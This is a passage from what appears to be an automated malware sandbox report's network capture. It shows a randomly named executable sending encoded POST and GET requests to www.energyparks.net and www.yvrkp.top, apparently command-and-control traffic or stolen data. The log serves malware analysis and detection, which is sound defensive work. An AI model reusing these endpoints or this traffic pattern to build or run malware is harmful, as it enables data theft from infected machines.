mFptYb=wmZkboj32hLN1pjlLwsef+rPq1qecSBDe9GGu3EuZ1J+vMED+8Oz2g7PnD10PE0nzqEQRTGkxLtJzeaVg91ycMpjpgdEvwRK9DFd+5QUqeM2vg15OG7Sy1dZvQolAVdAQvg9sBKlvjxO0bc5m4jDWWDE/wiibXKdKYVhZvpUJAY1HjIMZzGc8EZ6J5w9jytrc/wYrqPxtY7iK3nOpar2t0y+vLtwwQq/lFRCOPsaIFo8lD6+de/vd1gDbx+5wAESb1TqUmFQn/KpFoFdpO92N0s2w1FQUZp1nHvsO1X47vRUScxUf3qSQ2QYJElpdXiDwGWb43QvlIobQbaKwx/Cwb1Wp8EireBWEvsQcsTkRlVEM7wpfJ2HRY3MOVCG3NhnQsWkN7LtOWji77xQc6aLP08fvpOJmoi6zgcZTLun1ceeKZz7HGG1vAs4aGETdmWEfa0SWH/eiWsylTaZw7mPm2YEaL9uc/ktVlNXoPAI4pZS1+29tWYtjEm1Q6krDE8eXbo353Yjdy8ENrf4qR2QSL7Evu22j8ZkCS20RBjLWu6RmLsBntDIrQyoGFNN9GwIcHpVrX9ge5U7P5Iq59Mr8dkBqANI/Vq+nvkAWqOzQPYQtdZLuTMpHP50liYzaEZIpJac3waVj2Jpomx831Dtuowon8d1Qz7IhpIWaq+WkiHpwfOtca+dBLn6kUTrSKdA9t34EeWlSaNKQI5OkpESpMhrmPEZQ/l/H8I18F8SiXYP375AprqotcX5ntYD9K1YU3fADgRTtnYtVUulPBxTe4HKdJ7vTQxOotZmr98Pvzkx2j4uFL3Koo+0AsjPjph2BFlCOvARt4jqWZiPesk/iLOYN0SWlUmZxV5kQorBkcM4Jqi/WyaC9DTLM9afSbWSUIl3ECszft6LxVuElANT/YWu0MKdtCYqovBSGtsDnwc3+MNVJj01o7T4Al5OiPjthX0fVuZEKEtp930o3k+t7E0mttsGhcCb6C4bnidR8py/Z [TRUNCATED]
Nov 7, 2024 10:51:03.960720062 CET	288	OUT	Data Raw: 4f 6b 6b 59 2b 4e 6b 77 4a 72 75 51 73 49 2b 71 6a 46 61 31 36 4f 36 56 56 35 67 65 6c 74 56 79 6c 43 66 45 55 52 6a 33 6f 33 66 5a 77 47 76 79 71 62 41 4d 68 2f 37 66 32 4b 6a 2f 69 55 6e 65 56 50 65 6b 66 4f 4d 74 76 32 50 42 72 76 57 78 69 38 Data Ascii: OkkY+NkwJruQsI+qjFa16O6VV5geltVylCfEURj3o3fZwGvyqbAMh/7f2Kj/iUneVPekfOMtv2PBrvWxi8o8Mf/dwS4UcnnrGHIzIT/XbuT4rY6JOXebWE1lBPLTYVhkJy1/dXklXgwTM1ojeyDzViop0OrxlRNvEBgBKujk/zqCRj67d4Rj2IiXfm4DnmyIXCRKiKFGatYZDFGWr04CqsPfIkrtfuKYjacX+TVCJmpOcz9v3ID

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.22	49176	15.197.148.33	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:51:06.498207092 CET	799	OUT	POST /k47i/ HTTP/1.1 Host: www.energyparks.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.energyparks.net Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Referer: http://www.energyparks.net/k47i/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 77 6d 5a 6b 62 6f 6a 33 32 68 4c 4e 31 6f 6a 6c 5a 52 73 65 66 65 72 50 6e 56 71 65 58 79 42 46 65 39 61 6b 75 79 6b 2b 61 47 35 2b 73 5a 34 44 39 50 6d 7a 6a 67 37 49 2f 7a 31 77 42 6b 30 49 7a 71 46 37 52 58 47 6b 78 4c 70 4a 68 74 69 56 6d 34 5a 39 56 63 70 68 77 51 64 46 76 77 74 50 39 44 5a 4e 2b 39 73 55 71 59 6b 32 75 68 46 35 62 54 76 53 35 56 64 66 70 51 70 7a 41 56 52 76 51 76 78 2b 73 42 65 6c 76 53 64 4f 78 5a 55 35 74 2f 2f 44 64 32 44 46 34 77 6a 4c 4b 58 4c 77 46 4a 4d 68 56 5a 6b 79 4f 77 73 43 61 7a 6f 54 5a 53 33 56 31 56 70 6a 47 4f 67 70 33 67 67 64 46 51 3d 3d Data Ascii: mFptYb=wmZkboj32hLN1ojlZRseferPnVqeXyBFe9akuyk+aG5+sZ4D9Pmzjg7I/z1wBk0IzqF7RXGkxLpJhtiVm4Z9VcphwQdFvwtP9DZN+9sUqYk2uhF5bTvS5VdfpQpzAVRvQvx+sBelvSdOxZU5t//Dd2DF4wjLKXLwFJMhVZkyOwsCazoTZS3V1VpjGOgp3ggdFQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.22	49177	15.197.148.33	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:51:09.040909052 CET	2472	OUT	POST /k47i/ HTTP/1.1 Host: www.energyparks.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.energyparks.net Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 3627 Referer: http://www.energyparks.net/k47i/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 77 6d 5a 6b 62 6f 6a 33 32 68 4c 4e 32 4a 54 6c 65 43 30 65 65 2b 72 4d 69 56 71 65 63 53 42 42 65 39 47 6b 75 33 45 75 5a 30 56 2b 76 4f 38 44 39 73 4f 7a 77 51 37 49 75 6a 31 30 50 45 30 67 7a 71 35 64 52 54 4b 53 78 49 46 4a 7a 61 47 56 67 2b 4e 79 62 4d 70 6a 30 51 64 43 76 77 74 67 39 44 49 45 2b 39 6f 79 71 62 55 32 70 53 39 35 50 7a 76 52 38 56 64 66 70 51 6f 79 41 56 52 58 51 76 70 6d 73 45 37 36 76 6c 6c 4f 6f 37 63 35 71 59 6a 41 4a 47 44 42 37 77 69 73 62 58 48 37 4b 59 56 74 5a 75 49 78 4a 41 55 31 56 41 51 4d 5a 30 79 64 68 45 5a 35 4e 35 77 39 39 43 74 70 63 2f 77 45 72 71 50 78 74 59 76 69 4c 6e 6e 4f 70 62 72 70 70 30 79 2b 6c 72 74 48 74 41 6d 72 6c 45 31 73 4f 50 64 68 49 53 77 38 6b 41 53 2b 51 4f 2f 76 4a 56 67 42 62 78 2b 30 6e 51 45 30 62 31 62 55 55 6d 56 2b 6e 2f 4b 70 46 75 52 64 2f 4c 70 32 45 45 73 32 34 56 46 54 61 4a 70 79 6e 48 72 53 4f 77 44 34 37 72 39 55 53 73 42 55 4f 6c 43 52 61 6d 51 4d 62 30 6c 72 5a 58 69 57 77 47 4b 31 34 33 49 4a 6c 4e 34 [TRUNCATED] Data Ascii: mFptYb=wmZkboj32hLN2JTleC0ee+rMiVqecSBBe9Gku3EuZ0V+vO8D9sOzwQ7Iuj10PE0gzq5dRTKSxIFJzaGVg+NybMpj0QdCvwtg9DIE+9oyqbU2pS95PzvR8VdfpQoyAVRXQvpmsE76vllOo7c5qYjAJGDB7wisbXH7KYVtZuIxJAU1VAQMZ0ydhEZ5N5w99Ctpc/wErqPxtYviLnnOpbrpp0y+lrtHtAmrlE1sOPdhISw8kAS+QO/vJVgBbx+0nQE0b1bUUmV+n/KpFuRd/Lp2EEs24VFTaJpynHrSOwD47r9USsBUOlCRamQMb0lrZXiWwGK143IJlN4bQYyKzQ/Cwr1VxMEuvedaEvlxcqPORnRENpYpcPCGeI3GcFCczNhNQsbFN/ftOn7i46RQYJCIJE8crpOkvIj7zg5KTK+30oOeLpz7GkfH1ws9A2FIIWWsfa1lWHepijIylTKZwNaPm2Z2L79sJPYPVlIcoMkY4opS1Om9tUwt4Um1EKkoIk8uXb8B51YzcBAEKKv4oTOQaL7Gtu2zgMYICSm0RBHiWuSRmuQBkMDImwysMlMT9GxxcHkBrXtae/M7P88qxcMrkNkAoANMpVqznvsQWrCVQOgQv85LpmgpGv56pCYzUkZQpJCm3yvgjzxpoXh8jlDsnIwr88d2Uz6VhpYWaqyWki/pxoytZr+dern07kTLZrhs9tmBEfS1Sc1Kf6RO08QVlchl2fETGPkaH8Ip8Ek4likP3KZA6aqnwsX+uNYUzq0pUzzuDhkIt0MtVU+lOyZTfIHKdJ7oTQxSotVYr54lvzkx2xcuFYfKgI+tLMjQnpgtBGJoOpp2t5PqWMuPesk8sbOfBUSXlUr7xV4oQovBkPg4bIa/WU2C7jTLatacb7WXUIkvEDgZfs6LwmWEkGZMiYWv8sKHiiUDovNaGo0DmHk3x+1VJT013rT7IF5X9/+2hWY5VvJuK19p+gYonWWu3U1BnNsYhcOo6CwDnj1r8pa/Z [TRUNCATED]
Nov 7, 2024 10:51:09.046020031 CET	1752	OUT	Data Raw: 4f 6b 45 59 39 75 4d 77 4f 4c 75 52 7a 59 2f 30 6a 46 61 56 36 4f 79 33 56 38 78 54 6c 76 39 79 71 45 72 45 51 6d 58 33 6b 6e 66 66 77 47 76 34 6b 37 4d 6c 68 2f 36 6d 32 4b 2f 2f 69 51 4c 65 56 4a 32 6b 63 2b 4d 73 77 57 50 45 6c 50 57 32 73 63 Data Ascii: OkEY9uMwOLuRzY/0jFaV6Oy3V8xTlv9yqErEQmX3knffwGv4k7Mlh/6m2K//iQLeVJ2kc+MswWPElPW2scoJMf+swWpDcg/rGVwzInrXb+Ty9o6aKXbeWE55BMflYkBkPQd/XEAlQAwHBVokeyPPVi4L0MTblk9vFxgBANbn7zqMZD62d4Rb2I6TfmVOnnqIXA5KwKFFOtYbCFHDr01mqt2+IlHtfvmYi6MX9TVCGGpPVT8u4oP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.22	49178	15.197.148.33	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:51:11.647349119 CET	533	OUT	GET /k47i/?Vta=nFypuDtholF&mFptYb=9kxEYcPO0Qe31MjAFjIcWOncsH25cFhJfOSVnSYcFCRu8P8I16bnvFurvQhgIE0Ki89nSiSy+a0RlMSh3+VYEZE5/A1AoTNj5T9S7+51vpkFoip5Twnd4WVIrXl3 HTTP/1.1 Host: www.energyparks.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 7, 2024 10:51:12.235718966 CET	402	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 07 Nov 2024 09:51:12 GMT Content-Type: text/html Content-Length: 262 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 56 74 61 3d 6e 46 79 70 75 44 74 68 6f 6c 46 26 6d 46 70 74 59 62 3d 39 6b 78 45 59 63 50 4f 30 51 65 33 31 4d 6a 41 46 6a 49 63 57 4f 6e 63 73 48 32 35 63 46 68 4a 66 4f 53 56 6e 53 59 63 46 43 52 75 38 50 38 49 31 36 62 6e 76 46 75 72 76 51 68 67 49 45 30 4b 69 38 39 6e 53 69 53 79 2b 61 30 52 6c 4d 53 68 33 2b 56 59 45 5a 45 35 2f 41 31 41 6f 54 4e 6a 35 54 39 53 37 2b 35 31 76 70 6b 46 6f 69 70 35 54 77 6e 64 34 57 56 49 72 58 6c 33 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Vta=nFypuDtholF&mFptYb=9kxEYcPO0Qe31MjAFjIcWOncsH25cFhJfOSVnSYcFCRu8P8I16bnvFurvQhgIE0Ki89nSiSy+a0RlMSh3+VYEZE5/A1AoTNj5T9S7+51vpkFoip5Twnd4WVIrXl3"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.22	49179	104.21.14.183	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:51:17.573620081 CET	2472	OUT	POST /9jdk/ HTTP/1.1 Host: www.yvrkp.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.yvrkp.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 2163 Referer: http://www.yvrkp.top/9jdk/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 62 73 7a 54 77 38 42 4b 32 62 47 4d 55 4f 56 34 79 7a 37 7a 6c 6e 6c 42 6d 75 2b 52 5a 52 30 37 43 67 47 33 31 38 30 43 31 72 2f 72 76 65 6d 44 2b 53 33 49 43 69 2b 57 65 36 66 56 38 7a 45 35 73 36 58 54 59 30 64 73 56 70 50 66 54 2b 4c 78 75 59 34 31 44 31 77 35 64 4e 62 62 50 4f 4b 34 65 64 76 44 77 2f 43 73 6c 49 4e 62 55 58 6d 45 6e 57 55 42 6e 68 58 33 71 34 59 4f 62 7a 75 57 58 42 50 4a 75 39 71 37 58 69 41 2f 2b 45 7a 2f 35 75 67 48 4b 6d 68 47 45 70 54 6f 62 62 33 39 6c 47 6d 66 4a 49 62 70 50 6e 69 2b 30 77 35 62 52 72 50 33 58 66 6f 4d 53 37 41 53 74 50 46 55 6e 74 6e 48 66 31 6a 69 7a 73 4a 71 43 6c 6c 5a 77 38 65 73 76 66 67 47 33 45 36 42 34 6f 76 4a 77 58 57 71 2f 6a 51 2f 37 6e 61 70 45 4e 36 39 4f 2b 7a 59 6e 61 72 65 4a 4e 48 6e 4b 7a 4b 46 6d 62 4f 59 79 74 61 70 34 70 57 4b 7a 33 32 47 6b 5a 62 30 4a 67 76 52 5a 73 2f 34 72 4b 73 54 78 51 52 36 30 4a 6b 37 6b 5a 34 78 56 2f 45 66 4b 57 55 50 2b 34 76 51 57 6a 57 31 6f 2b 62 46 62 6c 53 45 55 56 32 6c 37 63 6f [TRUNCATED] Data Ascii: mFptYb=bszTw8BK2bGMUOV4yz7zlnlBmu+RZR07CgG3180C1r/rvemD+S3ICi+We6fV8zE5s6XTY0dsVpPfT+LxuY41D1w5dNbbPOK4edvDw/CslINbUXmEnWUBnhX3q4YObzuWXBPJu9q7XiA/+Ez/5ugHKmhGEpTobb39lGmfJIbpPni+0w5bRrP3XfoMS7AStPFUntnHf1jizsJqCllZw8esvfgG3E6B4ovJwXWq/jQ/7napEN69O+zYnareJNHnKzKFmbOYytap4pWKz32GkZb0JgvRZs/4rKsTxQR60Jk7kZ4xV/EfKWUP+4vQWjW1o+bFblSEUV2l7coYzLTMhwRgvhU2EjU/ELFBeVi8fchmV26ol1HKIaGgNUA3mqskG6dT8Merrt/sizBaIMbAJiz5PUicJhP1nYp5ebg754lKW7opWtjLKCLTFAMVoG0m6oJTGJlS7/sgRm7HEtmBVb+hntajzLAeCCOkVEwYADG8i8nQb4X9gukAHjb7/TopB8zKHBJucktgdLMUDMaLnsJgsp2eJ2L4I6jMLw8yMvpAPaVi5TUNo4CAqMstmjjsWTWBVXrqV+Abip6/98IgK3yVzVZRSS2DYCjmYUfU2KWaYy//x+oBWR4KYkGWk3mtoO0R8w/FEIkNyiP+/5aRq4mImcmEgS4+9ABV8L9HpmhIqjyL5u31h9h5qWMzSop9lgIcMyUoaCbkMcsnYEepjosQe02weHRRWaxApym0oNCT1CPhIQIHlErmPUDl3+NTqtcCTaRAnnIrGTdJVrh0zf+veujQr5jfU4HJHUN6ZXZEmalirplbGly4Rn86FRikcHAwWvGnms/KhMgveKR9r2cTchHgSd2nN83zu5qLc37TvKxVBaJNPFRYNy4RY1RW7dtXT/8kxfAOPXeviPeKLs14w8/rekRuizUZa9xzSRKJFIaa/BjnsGAnXulmNGpQZpFiM3x9am0x65LaH90h/xYxw7ACSdo5ErhbT1z5ksvG7q3iS [TRUNCATED]
Nov 7, 2024 10:51:17.578603983 CET	270	OUT	Data Raw: 6b 52 65 43 68 6e 72 65 79 36 2f 75 6a 4b 5a 78 75 36 77 58 62 32 41 32 6a 4a 57 76 34 33 37 4d 61 5a 38 68 48 65 61 49 53 45 32 2b 34 33 4d 6b 6a 37 75 37 48 56 56 6a 37 56 6b 76 39 78 34 56 4b 49 35 67 6b 76 48 64 74 36 4d 77 53 43 77 71 51 7a Data Ascii: kReChnrey6/ujKZxu6wXb2A2jJWv437MaZ8hHeaISE2+43Mkj7u7HVVj7Vkv9x4VKI5gkvHdt6MwSCwqQz7lKTaGjQqlDJ4CU+gewhjKKOkumI5B+TXR9tntFAYlSO/2/1xKzLqDozI8j2IUisHE2CtzDOG1Ou8dESNMYrmkDjjoAP9H7nAnGlSiGM3VW9Qk7qb053BEjtLokig2+Z/yHvnPUO61o9xXqcmJnHGqfEhWNdjgerI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.22	49180	104.21.14.183	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:51:20.123925924 CET	781	OUT	POST /9jdk/ HTTP/1.1 Host: www.yvrkp.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.yvrkp.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Referer: http://www.yvrkp.top/9jdk/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 62 73 7a 54 77 38 42 4b 32 62 47 4d 55 4a 4a 34 77 6e 58 7a 6b 48 6c 42 68 75 2b 52 53 78 30 35 43 67 4b 56 31 35 4e 46 31 38 44 72 75 4f 57 44 2b 67 50 49 48 69 2b 56 52 61 66 52 78 54 45 57 73 36 57 74 59 77 64 73 56 70 72 66 52 63 6a 78 6f 63 4d 30 63 31 77 37 56 74 62 59 50 4f 57 4c 65 64 6a 54 77 38 43 73 6c 50 70 62 4f 58 32 45 78 6a 41 42 69 52 58 39 2f 6f 59 56 62 7a 79 35 58 42 65 45 75 2b 2b 37 58 7a 63 2f 2b 57 4c 2f 76 76 67 48 44 47 68 48 4b 4a 53 67 54 70 71 74 38 48 53 47 56 75 62 4c 4f 53 47 38 30 68 63 63 52 36 4c 39 54 4f 6b 6b 54 75 56 6a 6b 64 55 47 79 51 3d 3d Data Ascii: mFptYb=bszTw8BK2bGMUJJ4wnXzkHlBhu+RSx05CgKV15NF18DruOWD+gPIHi+VRafRxTEWs6WtYwdsVprfRcjxocM0c1w7VtbYPOWLedjTw8CslPpbOX2ExjABiRX9/oYVbzy5XBeEu++7Xzc/+WL/vvgHDGhHKJSgTpqt8HSGVubLOSG80hccR6L9TOkkTuVjkdUGyQ==
Nov 7, 2024 10:51:21.305032969 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 09:51:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: private X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Frame-Options: SAMEORIGIN Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type, needToken,method, Authorization cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8eBK4z9r%2Bd8G8PCiwNNZJJKhvEkz3fi%2FJyc0HTFXyeXrntG0J9Sbnakh8QLpbsoN2tplofd7bI4kVK80VMHwE3X0foyOVTYQDVkN9vs%2BzNLiEpHQaGDAXkHv3Vdx1vO4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dec6c9a0f2ae5ad-DFW Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=979&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=781&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 35 37 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 c4 58 4d 6f db 46 10 3d db 80 ff c3 86 41 91 04 e8 8a b2 1c 37 09 23 19 4d 1d bb 4d 3f f2 81 d8 45 7b 32 46 e4 48 5c 6b b9 cb ec 2e 29 cb 41 80 1e 0b 14 3d e4 92 a2 40 7a 68 0f 3d f5 da 5b d1 7f 13 03 f9 17 c5 92 94 bc 94 28 db 45 9c 56 17 92 b3 fb de cc be 99 9d 25 d5 bd 72 ff d1 f6 de b7 8f 77 48 6c 12 be b5 b6 da b5 57 12 72 d0 ba e7 1d 6a 12 6a 0d 82 25 60 98 14 da db 5a 5b 5d e9 c6 08 91 9d 99 a0 01 12 1b 93 52 7c 96 b1 bc e7 6d 4b 61 50 18 ba 37 49 d1 23 61 f9 d4 f3 0c 1e 19 df d2 de 25 61 0c 4a a3 e9 ed ef ed d2 db 96 8d 90 45 9a 6f e8 fe 3d ba 2d 93 14 0c eb 73 97 e9 c1 4e 0f a3 21 ba 40 01 09 f6 bc 08 75 a8 58 6a 83 74 a6 2f ce 1b e1 64 2c 55 a4 cf 9c 94 33 1c a7 52 19 67 d2 98 45 26 ee 45 98 b3 10 Data Ascii: 57bXMoF=A7#MM?E{2FH\k.)A=@zh=[(EV%rwHlWrjj%`Z[]R\|mKaP7I#a%aJEo=-sN!@uXjt/d,U3RgE&E
Nov 7, 2024 10:51:21.305087090 CET	1156	IN	Data Raw: 69 f1 f0 21 61 82 19 06 9c ea 10 38 f6 d6 2b 1e c3 0c c7 ad 4f bf fe 7c ef 93 9d a7 7b 5d bf 7c 5e 5b 9d 77 a2 50 44 a8 50 b9 4e b0 3f 62 c6 ab 4d ae c9 0b 61 8c d4 8a ac 24 77 70 42 52 cd 0c 42 9a 2e ae 25 91 7d c6 91 8e b1 4f 21 4d 69 08 29 d4 Data Ascii: i!a8+O\|{]\|^[wPDPN?bMa$wpBRB.%}O!Mi)%4H/V0}PTI!]KoV%x(cQa:[pw{s/l\|?Vtq\|Em:p&FD!yj:F41}jX
Nov 7, 2024 10:51:21.500977039 CET	1236	IN	Data Raw: 36 37 65 0d 0a dc 5b d9 53 13 49 18 7f b7 ca ff 61 2a de ec 0e e9 23 3d 47 70 79 d9 87 7d 5a 6b 1f d8 27 cb a2 26 3d 93 25 1a 48 2a 87 85 0f 5b 25 a0 2c 78 94 0a e8 16 87 a5 8b a8 78 80 42 b9 20 25 b8 ff cc ce f5 e4 bf b0 35 47 4f 7a 42 54 24 62 Data Ascii: 67e[SIa#=Gpy}Zk'&=%H[%,xxB %5GOzBT$b%Lz{~_;3w0Q/_n[3+Ru[7g{^4TOMq4'z4Z.WW:\2"KAgH@(!@C$A PA&04=
Nov 7, 2024 10:51:21.500998020 CET	433	IN	Data Raw: 3a 2f 55 51 a4 d6 23 a1 a4 10 94 88 aa 92 e6 90 78 77 c7 9d 7f 6e be dd e9 4c 24 54 80 5a 84 04 62 48 20 08 88 0a 00 52 90 d2 14 12 ee fc ac 33 b9 6e 2f 6c 9b 3b 6b f6 fc 52 87 ae 0c 19 b5 7e 65 c8 18 60 09 ab b0 39 1f e5 4e 3c 71 af 6f 5b 13 53 Data Ascii: :/UQ#xwnL$TZbH R3n/l;kR~e`9N<qo[S?6@FMAA7wj}zyA[-Pj.,,usqbOf4:@`T%EZ@cL\3=pvG9A)* _^?2zy<W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.22	49181	104.21.14.183	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:51:22.664246082 CET	2472	OUT	POST /9jdk/ HTTP/1.1 Host: www.yvrkp.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.yvrkp.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 3627 Referer: http://www.yvrkp.top/9jdk/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 62 73 7a 54 77 38 42 4b 32 62 47 4d 55 70 35 34 31 41 44 7a 7a 33 6c 41 71 4f 2b 52 5a 52 30 39 43 67 47 56 31 38 30 43 31 76 76 72 76 64 75 44 2b 43 33 49 46 69 2b 56 58 61 66 56 38 7a 45 2b 73 36 44 44 59 31 68 57 56 72 6e 66 54 37 2f 78 75 66 6b 31 45 31 77 35 52 74 62 5a 50 4f 57 65 65 64 7a 66 77 38 32 4b 6c 50 68 62 53 31 65 45 6d 6a 41 47 74 78 58 39 2f 6f 59 6a 62 7a 79 46 58 42 48 5a 75 2f 6d 72 58 6c 77 2f 2f 30 7a 2f 74 4f 67 47 46 47 68 44 41 70 54 32 62 62 37 45 6c 47 6d 62 4a 49 6e 54 50 67 71 2b 30 6d 31 62 52 73 54 30 59 76 6f 54 4d 4c 41 53 77 66 46 4b 6e 74 6e 62 66 31 6a 69 7a 73 46 71 41 31 6c 5a 77 2b 32 76 78 76 67 47 70 55 36 63 32 49 53 36 77 55 72 6d 2f 6a 67 46 34 51 71 70 57 59 4f 39 4a 4f 7a 59 68 71 72 69 4a 4e 48 51 64 6a 4b 33 6d 61 71 51 79 74 4b 35 34 70 57 4b 7a 30 2b 47 31 37 44 30 4f 77 76 52 47 38 2f 35 69 71 73 53 78 54 39 55 30 4a 67 37 6b 59 77 78 50 74 63 66 64 6b 38 4d 30 6f 76 52 53 6a 57 33 73 2b 61 52 62 6d 32 71 55 56 2b 62 37 64 59 [TRUNCATED] Data Ascii: mFptYb=bszTw8BK2bGMUp541ADzz3lAqO+RZR09CgGV180C1vvrvduD+C3IFi+VXafV8zE+s6DDY1hWVrnfT7/xufk1E1w5RtbZPOWeedzfw82KlPhbS1eEmjAGtxX9/oYjbzyFXBHZu/mrXlw//0z/tOgGFGhDApT2bb7ElGmbJInTPgq+0m1bRsT0YvoTMLASwfFKntnbf1jizsFqA1lZw+2vxvgGpU6c2IS6wUrm/jgF4QqpWYO9JOzYhqriJNHQdjK3maqQytK54pWKz0+G17D0OwvRG8/5iqsSxT9U0Jg7kYwxPtcfdk8M0ovRSjW3s+aRbm2qUV+b7dYYzNHMt1xgvRU5DjUzALIVeWCBfa92V1+okkHKJfzSTUA92asUXqdh8KCRrtfsihhaGs7ADFn2f0ifDBPcu4pteb1k56daVOUpXdjLIgzQJwMQvG0w0IIKGJlg76gWRU7HEsWBVJmhntag5rAYLizeVE0cADasi+PQboH9gqwAJjb74TpjPcz+HC1YchZwBrYUGdqLgaVg552cP2L5GajdLwMyMucdPepi4xsNn6qA/csp6zj3WTX4VWf2V+wlisi/9+ggdmyV0VZqQS2HVijdYUXE2JSwYzn/3YYBZDQKYEGQtXmthu0380rVEKR2ygv+/KSR/ImLr8mFsy4h3gBh8LtHpmlIqlKL5/31mO55pmMxWopd3gEsMxsCaDv0McMnb1eprKEfRk2ybHRbAqxkpymwoPy51TvhIEcHjhLhDUDo5eMR3dc2TaBqnnM7GkNJVrR0zMavZejQr5jYU4GOHUxAZWpumalip4lbGX